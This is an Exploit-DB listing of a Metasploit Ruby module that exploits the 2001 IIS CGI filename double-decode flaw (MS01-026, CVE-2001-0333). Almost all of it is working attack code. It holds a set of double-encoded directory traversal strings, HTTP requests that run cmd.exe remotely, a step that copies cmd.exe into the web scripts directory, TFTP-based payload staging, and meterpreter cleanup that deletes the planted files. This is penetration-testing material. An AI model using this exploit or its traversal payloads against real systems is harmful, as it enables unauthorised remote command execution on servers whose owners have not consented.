Microsoft IIS/PWS - CGI Filename Double Decode Command Execution (MS01-026) (Metasploit)

EDB-ID:

16467




Platform:

Windows

Date:

2011-01-08


##
# $Id: ms01_026_dbldecode.rb 11513 2011-01-08 00:25:44Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/proto/tftp'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	# NOTE: This cannot be an HttpClient module since the response from the server
	# is not a valid HttpResponse
	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::CmdStagerTFTP

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft IIS/PWS CGI Filename Double Decode Command Execution',
			'Description'    => %q{
					This module will execute an arbitrary payload on a Microsoft IIS installation
				that is vulnerable to the CGI double-decode vulnerability of 2001.

				NOTE: This module will leave a metasploit payload in the IIS scripts directory.
			},
			'Author'         => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11513 $',
			'References'     =>
				[
					[ 'CVE', '2001-0333' ],
					[ 'OSVDB', '556' ],
					[ 'BID', '2708' ],
					[ 'MSB', 'MS01-026' ],
					[ 'URL', 'http://marc.info/?l=bugtraq&m=98992056521300&w=2' ]
				],
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'May 15 2001'
		))

		register_options(
			[
				Opt::RPORT(80),
				OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
				OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ])
			], self.class)

		framework.events.add_exploit_subscriber(self)
	end


	def dotdotslash
		possibilities = [
			"..%255c",
			"..%%35c",
			"..%%35%63",
			"..%25%35%63",
			".%252e/",
			"%252e./",
			"%%32%65./",
			".%%32%65/",
			".%25%32%65/",
			"%25%32%65./"
		]
		possibilities[rand(possibilities.length)]
	end


	def mini_http_request(opts, timeout=5)
		connect
		req = ''
		req << opts['method']
		req << ' '
		req << opts['uri']
		req << ' '
		req << "HTTP/1.0\r\n"
		req << "Host: #{datastore['RHOST']}\r\n"
		req << "\r\n"
		sock.put(req)

		# This isn't exactly awesome, but it seems to work..
		begin
			headers = sock.get_once(-1, timeout)
			body = sock.get_once(-1, timeout)
		rescue ::EOFError
			# nothing
		end

		if (datastore['DEBUG'])
			print_status("Headers:\n" + headers.inspect)
			print_status("Body:\n" + body.inspect)
		end
		disconnect
		[headers, body]
	end


	def check
		res = execute_command("dir")
		if (res.kind_of?(Array))
			body = res[1]
			if (body and body =~ /Directory of /)
				return Exploit::CheckCode::Vulnerable
			end
		end

		Exploit::CheckCode::Safe
	end


	#
	# NOTE: the command executes regardless of whether or not
	# a valid response is returned...
	#
	def execute_command(cmd, opts = {})

		# Don't try the start command...
		# Using the "start" method doesn't seem to make iis very happy :(
		return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/

		print_status("Executing command: #{cmd}")

		uri = '/scripts/'
		exe = opts[:cgifname]
		if (not exe)
			uri << dotdotslash
			uri << dotdotslash
			uri << 'winnt/system32/cmd.exe'
		else
			uri << exe
		end
		uri << '?/x+/c+'
		uri << Rex::Text.uri_encode(cmd)

		if (datastore['VERBOSE'])
			print_status("Attemping to execute: #{uri}")
		end

		mini_http_request({
				'uri'     => uri,
				'method'  => 'GET',
			}, 20)
	end


	def exploit

		# first copy the file
		exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
		print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
		# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
		# However, it using %SystemRoot% doesn't seem to work :(
		res = execute_command("copy \\winnt\\system32\\cmd.exe #{exe_fname}")

		if (datastore['CMD'])
			res = execute_command(datastore['CMD'], { :cgifname => exe_fname })
			if (res[0])
				print_status("Command output:\n" + res[0])
			else
				print_error("No output received")
			end

			res = execute_command("del #{exe_fname}")
			return
		end

		# Use the CMD stager to get a payload running
		execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })

		# Save these file names for later deletion
		@exe_cmd_copy = exe_fname
		@exe_payload = payload_exe

		# Just for good measure, we'll make a quick, direct request for the payload
		# Using the "start" method doesn't seem to make iis very happy :(
		print_status("Triggering the payload via a direct request...")
		mini_http_request({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1)

		handler

	end

	#
	# The following handles deleting the copied cmd.exe and payload exe!
	#
	def on_new_session(client)

		if client.type != "meterpreter"
			print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
			print_error("The copied exe and the payload exe must be removed manually.")
			return
		end

		return if not @exe_cmd_copy

		# stdapi must be loaded before we can use fs.file
		client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

		# Delete the copied CMD.exe
		print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
		client.fs.file.rm(@exe_cmd_copy)

		# Migrate so  that we can delete the payload exe
		client.console.run_single("run migrate -f")

		# Delete the payload exe
		return if not @exe_payload

		delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload

		print_status("Changing permissions on #{delete_me_too} ...")
		cmd = "C:\\winnt\\system32\\attrib.exe -r -h -s " + delete_me_too
		client.sys.process.execute(cmd, nil, {'Hidden' => true })

		print_status("Deleting #{delete_me_too} ...")
		begin
			client.fs.file.rm(delete_me_too)
		rescue ::Exception => e
			print_error("Exception: #{e.inspect}")
		end
	end

	def cleanup
		framework.events.remove_exploit_subscriber(self)
	end

end